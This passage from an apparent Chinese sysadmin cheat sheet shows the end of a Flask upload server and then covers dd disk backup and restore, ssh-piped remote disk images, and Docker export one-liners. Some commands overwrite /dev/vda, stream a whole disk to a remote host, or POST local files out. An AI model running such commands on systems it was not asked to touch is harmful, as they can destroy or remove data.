rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">filename</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;File saved successfully&#39;</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> __name__ </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">==</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;__main__&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">print</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;curl <a href="http://xxx:58000/upload" target="_blank">http://xxx:58000/upload</a> -X POST -F &#39;file=@/tmp/pods&#39;&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    app</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">run</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">debug</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">True</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> host</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;0.0.0.0&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> port</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">58000</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">linux整机备份</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">备份</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dd </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/dev/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">vda of</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/path/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">to</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">backup</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img bs</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">4M</span></p></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">还原</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dd </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/path/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">to</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">backup</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img of</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/dev/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">vda bs</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">4M</span></p></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">备份到远程</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dd </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/dev/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">vda bs</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">4M</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> gzip </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> ssh root@xxxx </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;cat &gt; /tmp/xxx_backup.img.gz&#34;</span></p></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">还原:</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">gunzip </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c xxx_backup</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">gz </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> xxx_backup</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">dd </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">xxx_backup</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">img of</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">/dev/</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">vda bs</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">4M</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">docker备份</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">所有的</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">docker ps </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">a </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">format </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;table docker export -o {{.Names}}.tar {{.ID}}&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">grep </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v NAMES </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bash</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">仅在允许的</span></p></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">docker ps </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">--</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">format </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;table docker export -o {{.Names}}.tar {{.ID}}&#34;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">grep </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">v NAMES </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">bash</span></p></span></span></p></li></ol></pre><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(15 23 42/var(--tw-bg-opacity));line-height: 1.35;font-size: 18px;">判断存在指定文件的docker容器</h3><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">docker ps </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">q </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> xargs docker inspect </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">f </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{{.Name}} {{.State.Running}}&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> grep </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">true</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cut </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">c2</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> awk </span><span style="color: rgb(153, 204, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;{print &#34;docker exec &#34;$1&#34; [ -f /home/s/www/xxxx.png ] &amp;&amp; echo &#34;$1&#34; has this file&#34;}&#39;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sh</span></p></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><p style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">trantor</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">fe has </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">this</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px 